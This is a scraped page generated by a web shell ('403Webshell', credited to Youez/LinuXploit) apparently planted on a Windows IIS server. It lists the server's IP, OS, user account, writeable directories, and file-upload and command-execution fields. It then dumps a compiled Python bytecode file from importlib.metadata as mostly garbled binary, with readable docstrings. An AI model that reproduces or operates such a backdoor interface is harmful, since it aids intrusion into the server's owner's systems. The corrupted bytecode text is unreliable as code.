403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/importlib/metadata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/importlib/metadata/__pycache__/_itertools.cpython-315.pyc
R
>lqj�c�R�]QHGsGs]QHGsQQks\\11QksQQ2s	P!)�)�defaultdict�deque)�filterfalsec#�� �[2oUOoUe.[UOU2FDoUU2Uw�	J	P!SFD oUU2oVR7fJUU2Uw�	J"	P!3h)zHList unique elements, preserving order. Remember all elements ever seen.)�set�addr�__contains__)�iterable�key�seen�seen_add�element�ks&&    �2C:\Python315\\Lib\importlib\metadata\_itertools.py�unique_everseenrsg����5�D��x�x�H�
�{�"�4�#4�#4�h�?�G��W���M�@� �G��G��A��}�����
�	 �s�A4�>A4�!A4c��Ue[Q2!Ud[V2%c
[U12![U2![c[S12t!h9h)aIf *obj* is iterable, return an iterator over its items::

    >>> obj = (1, 2, 3)
    >>> list(always_iterable(obj))
    [1, 2, 3]

If *obj* is not iterable, return a one-item iterable containing *obj*::

    >>> obj = 1
    >>> list(always_iterable(obj))
    [1]

If *obj* is ``None``, return an empty iterable:

    >>> obj = None
    >>> list(always_iterable(None))
    []

By default, binary and text strings are not considered iterable::

    >>> obj = 'foo'
    >>> list(always_iterable(obj))
    ['foo']

If *base_type* is set, objects for which ``isinstance(obj, base_type)``
returns ``True`` won't be considered iterable.

    >>> obj = {'a': 1}
    >>> list(always_iterable(obj))  # Iterate over the dict's keys
    ['a']
    >>> list(always_iterable(obj, base_type=dict))  # Treat dicts as a unit
    [{'a': 1}]

Set *base_type* to ``None`` to avoid any special handling and treat objects
Python considers iterable as iterable:

    >>> obj = 'foo'
    >>> list(always_iterable(obj, base_type=None))
    ['f', 'o', 'o']
�)�iter�
isinstance�	TypeError)�obj�	base_types&&r�always_iterablersY��R�{��B�x����:�c�#=�#=��S�F�|����C�y������S�F�|���s�
>�	A�
A�Ac�H`�\sQs]NsnQsQQksQsQsQsQs	Qs
UsP!)	�bucketarWrap *iterable* and return an object that buckets the iterable into
child iterables based on a *key* function.

    >>> iterable = ['a1', 'b1', 'c1', 'a2', 'b2', 'c2', 'b3']
    >>> s = bucket(iterable, key=lambda x: x[0])  # Bucket by 1st character
    >>> sorted(list(s))  # Get the keys
    ['a', 'b', 'c']
    >>> a_iterable = s['a']
    >>> next(a_iterable)
    'a1'
    >>> next(a_iterable)
    'a2'
    >>> list(s['b'])
    ['b1', 'b2', 'b3']

The original iterable will be advanced and its items will be cached until
they are used by the child iterables. This may require significant storage.

By default, attempting to select a bucket to which no items belong  will
exhaust the iterable and cache all values.
If you specify a *validator* function, selected buckets will instead be
checked against it.

    >>> from itertools import count
    >>> it = count(1, 2)  # Infinite sequence of odd numbers
    >>> key = lambda x: x % 10  # Bucket by last digit
    >>> validator = lambda x: x in {1, 3, 5, 7, 9}  # Odd digits only
    >>> s = bucket(it, key=key, validator=validator)
    >>> 2 in s
    False
    >>> list(s[2])
    []

c��[U2UmV m[[2UmS9%fQUmP!)c��P	!)Tr)�xs&r�<lambda>�!bucket.__init__.<locals>.<lambda>vs��$�)r�_it�_keyrr�_cache�
_validator)�selfr	r
�	validators&&&&r�__init__�bucket.__init__rs-����>����	�!�%�(���#�7�7���r c���UOU2%fP
![V*2oUOU*OU2P	![cP
!h9h)F)r$�nextr#�
appendleft�
StopIteration)r%�value�items&& rr�bucket.__contains__xsU�����u�%�%��	0����$�D�
�K�K���)�)�$�/����	��	�s�A�	A �A �A c#� �UOU*%c'UOU*O2w�	J@[UO2oUOU2oV16XcUw�	JuUO
U2%fJNUOU*OU2Jr[cP!h9h3h)z�
Helper to yield items from the parent iterator that match *value*.
Items that don't match are stored in the local cache as they
are encountered.
)r#�popleftr*r!r,r"r$�append)r%r-r.�
item_values&&  r�_get_values�bucket._get_values�s������{�{�5�!�!��k�k�%�(�0�0�2�2���#�D�H�H�~��"&���4��J�!�*�"�
������4�4����J�/�6�6�t�<��)����s@�C�'C�B6�C�2C�$C�6	C�C�C�C�Cc#� �UOFDOoUOU2oUOU2%fJ-UOU*O	U2JQ	UOO2FPiw�K
P!K3h�N)r!r"r$r#r2�keys)r%r.r3s&  r�__iter__�bucket.__iter__�s^����H�H�D����4��J����z�*�*����J�'�.�.�t�4��
�;�;�#�#�%�%�%�s�7B�AB�B
�Bc�j�UOU2%f[Q2!UOU2!)Nr)r$rr4)r%r-s&&r�__getitem__�bucket.__getitem__�s+�����u�%�%���8�O�����&�&r )r#r!r"r$r7)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r'rr4r9r<�__static_attributes__�__classdictcell__)�
__classdict__s@rrrNs)����!�F8��=�4&�'�'r rr7)
�collectionsrr�	itertoolsrr�str�bytesrrrr r�<module>rJs+��*�!��&%(��<�2�l]'�]'r 

Youez - 2016 - github.com/yon3zu
LinuXploit